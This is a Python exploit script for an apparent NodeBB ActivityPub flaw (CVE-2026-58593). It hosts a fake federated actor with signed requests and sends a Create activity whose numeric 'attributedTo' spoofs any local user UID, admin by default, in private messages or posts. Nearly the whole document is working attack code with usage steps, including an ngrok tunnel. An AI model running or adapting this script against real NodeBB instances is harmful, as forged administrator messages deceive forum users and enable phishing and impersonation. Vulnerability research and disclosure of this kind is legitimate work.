#!/usr/bin/env python3 # Exploit Title: NodeBB <= 4.13.2 ActivityPub attributedTo Local UID Spoof # CVE: CVE-2026-58593 # Date: 2026-07-02 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://nodebb.org # Software Link: https://github.com/NodeBB/NodeBB # Affected: NodeBB <= 4.13.2 (with ActivityPub enabled) # Tested on: NodeBB v4.13.2 # Category: Remote # Platform: Node.js / Linux # Exploit Type: Spoofing / Authorization Bypass # CVSS: 8.7 # Description: Allows remote federated actors to spoof arbitrary local user UIDs (including admin) in private messages and public posts by sending numeric attributedTo values. # Fixed in: Pending patch # Usage: # python3 exploit.py --target-base https://target.com --actor-origin https://attacker.com --recipient-uid 2 --spoof-uid 1 # # Examples: # python3 exploit.py --target-base https://nodebb.example --actor-origin https://attacker.example --recipient-uid 2 --spoof-uid 1 # # Options: # --target-base Target NodeBB base URL # --actor-origin Public HTTPS origin for your actor # --recipient-uid Local recipient UID # --spoof-uid UID to spoof (default 1) # --message Custom message # --listen-host Listen host (default 127.0.0.1) # --listen-port Listen port (default 8088) # --output Output JSON file # # Notes: # • Requires public HTTPS exposure (e.g. ngrok) for WebFinger. # • NodeBB must have ActivityPub enabled. # # How to Use # # Step 1: # Expose your local server publicly via HTTPS tunnel (e.g. ngrok http 8088) and use the public URL as --actor-origin. # # Step 2: # Run the script with required arguments. def banner(): print(r""" ╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗ ║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║ ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╔═╗ Banyamer Security ╔═╗ """) import sys import json import argparse import http.server import socketserver import threading import time import hashlib import base64 import datetime import urllib.parse import urllib.request import ssl import os from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.backends import default_backend class ActivityPubHandler(http.server.BaseHTTPRequestHandler): def __init__(self, *args, actor_origin=None, username=None, public_key_pem=None, **kwargs): self.actor_origin = actor_origin self.username = username self.public_key_pem = public_key_pem self.received = [] super().__init__(*args, **kwargs) def do_GET(self): parsed = urllib.parse.urlparse(self.path) if parsed.path == '/.well-known/webfinger': self.send_response(200) self.send_header('Content-Type', 'application/jrd+json') self.end_headers() host = urllib.parse.urlparse(self.actor_origin).hostname webfinger = { "subject": f"acct:{self.username}@{host}", "links": [{ "rel": "self", "type": "application/activity+json", "href": f"{self.actor_origin}/users/{self.username}" }] } self.wfile.write(json.dumps(webfinger).encode()) return if parsed.path.startswith('/users/'): self.send_response(200) self.send_header('Content-Type', 'application/activity+json') self.end_headers() actor = { "@context": ["https://www.w3.org/ns/activitystreams", "https://w3id.org/security/v1"], "id": f"{self.actor_origin}/users/{self.username}", "type": "Person", "preferredUsername": self.username, "name": self.username, "inbox": f"{self.actor_origin}/users/{self.username}/inbox", "publicKey": { "id": f"{self.actor_origin}/users/{self.username}#main-key", "owner": f"{self.actor_origin}/users/{self.username}", "publicKeyPem": self.public_key_pem.decode() } } self.wfile.write(json.dumps(actor).encode()) return self.send_response(404) self.end_headers() def do_POST(self): content_length = int(self.headers.get('Content-Length', 0)) body = self.rfile.read(content_length) self.received.append({"path": self.path, "body": body.decode()}) self.send_response(202) self.send_header('Content-Type', 'application/activity+json') self.end_headers() self.wfile.write(json.dumps({"ok": True}).encode()) def run_server(host, port, actor_origin, username, public_key_pem): def handler_factory(*args, **kwargs): return ActivityPubHandler(*args, actor_origin=actor_origin, username=username, public_key_pem=public_key_pem, **kwargs) httpd = socketserver.TCPServer((host, port), handler_factory) server_thread = threading.Thread(target=httpd.serve_forever) server_thread.daemon = True server_thread.start() return httpd def generate_keypair(): private_key = rsa.generate_private_key( public_exponent=65537, key_size=2048, backend=default_backend() ) public_key = private_key.public_key() private_pem = private_key.private_bytes( encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption() ) public_pem = public_key.public_bytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo ) return public_pem, private_pem, private_key def sign_request(inbox_url, body, key_id, private_key): url = urllib.parse.urlparse(inbox_url) digest = base64.b64encode(hashlib.sha256(body).digest()).decode() date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT') signing_string = f"(request-target): post {url.path}\nhost: {url.netloc}\ndate: {date}\ndigest: SHA-256={digest}" signature = private_key.sign( signing_string.encode(), padding=rsa_padding.PSS( mgf=rsa_padding.MGF1(hashes.SHA256()), salt_length=rsa_padding.PSS.MAX_LENGTH ), algorithm=hashes.SHA256() ) sig_b64 = base64.b64encode(signature).decode() return { "date": date, "digest": f"SHA-256={digest}", "signature": f'keyId="{key_id}",headers="(request-target) host date digest",signature="{sig_b64}",algorithm="hs2019"' } def post_activity(inbox_url, activity, key_id, private_key): body = json.dumps(activity).encode() signed = sign_request(inbox_url, body, key_id, private_key) req = urllib.request.Request( inbox_url, data=body, headers={ 'Accept': 'application/activity+json', 'Content-Type': 'application/activity+json', 'Date': signed['date'], 'Digest': signed['digest'], 'Signature': signed['signature'] }, method='POST' ) try: with urllib.request.urlopen(req, timeout=30) as response: return { "status": response.getcode(), "body": response.read().decode() } except Exception as e: return {"status": 0, "body": str(e)} def main(): banner() parser = argparse.ArgumentParser() parser.add_argument('--target-base', required=True) parser.add_argument('--actor-origin', required=True) parser.add_argument('--recipient-uid', type=int, required=True) parser.add_argument('--spoof-uid', type=int, default=1) parser.add_argument('--message', default=None) parser.add_argument('--listen-host', default='127.0.0.1') parser.add_argument('--listen-port', type=int, default=8088) parser.add_argument('--output') args = parser.parse_args() target_base = args.target_base.rstrip('/') actor_origin = args.actor_origin.rstrip('/') username = 'mallory' spoof_uid = args.spoof_uid recipient_uid = args.recipient_uid message = args.message or f"private message forged as uid {spoof_uid}" inbox_url = f"{target_base}/inbox" public_pem, private_pem, private_key = generate_keypair() print("[+] Starting local ActivityPub actor server...") httpd = run_server(args.listen_host, args.listen_port, actor_origin, username, public_pem) time.sleep(2) actor_url = f"{actor_origin}/users/{username}" key_id = f"{actor_url}#main-key" now = datetime.datetime.utcnow().isoformat() activity = { "@context": "https://www.w3.org/ns/activitystreams", "id": f"{actor_origin}/activities/private-create-{int(time.time())}", "type": "Create", "actor": actor_url, "to": [f"{target_base}/uid/{recipient_uid}"], "cc": [], "object": { "@context": "https://www.w3.org/ns/activitystreams", "id": f"{actor_origin}/private-notes/local-chat-spoof-{int(time.time())}", "type": "Note", "attributedTo": spoof_uid, "content": f"<p>{message}</p>", "published": now, "updated": now, "to": [f"{target_base}/uid/{recipient_uid}"], "cc": [] } } print("[+] Sending spoofed activity...") result = post_activity(inbox_url, activity, key_id, private_key) result_data = { "targetBase": target_base, "inboxUrl": inbox_url, "actor": actor_url, "activityId": activity["id"], "noteId": activity["object"]["id"], "spoofUid": spoof_uid, "recipientUid": recipient_uid, "httpStatus": result.get("status"), "accepted": 200 <= result.get("status", 0) < 300, "responseBody": result.get("body") } if args.output: with open(args.output, 'w') as f: json.dump(result_data, f, indent=2) print(json.dumps(result_data, indent=2)) httpd.shutdown() if __name__ == "__main__": try: from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import padding as rsa_padding except ImportError: print("[-] Please install cryptography: pip install cryptography") sys.exit(1) main()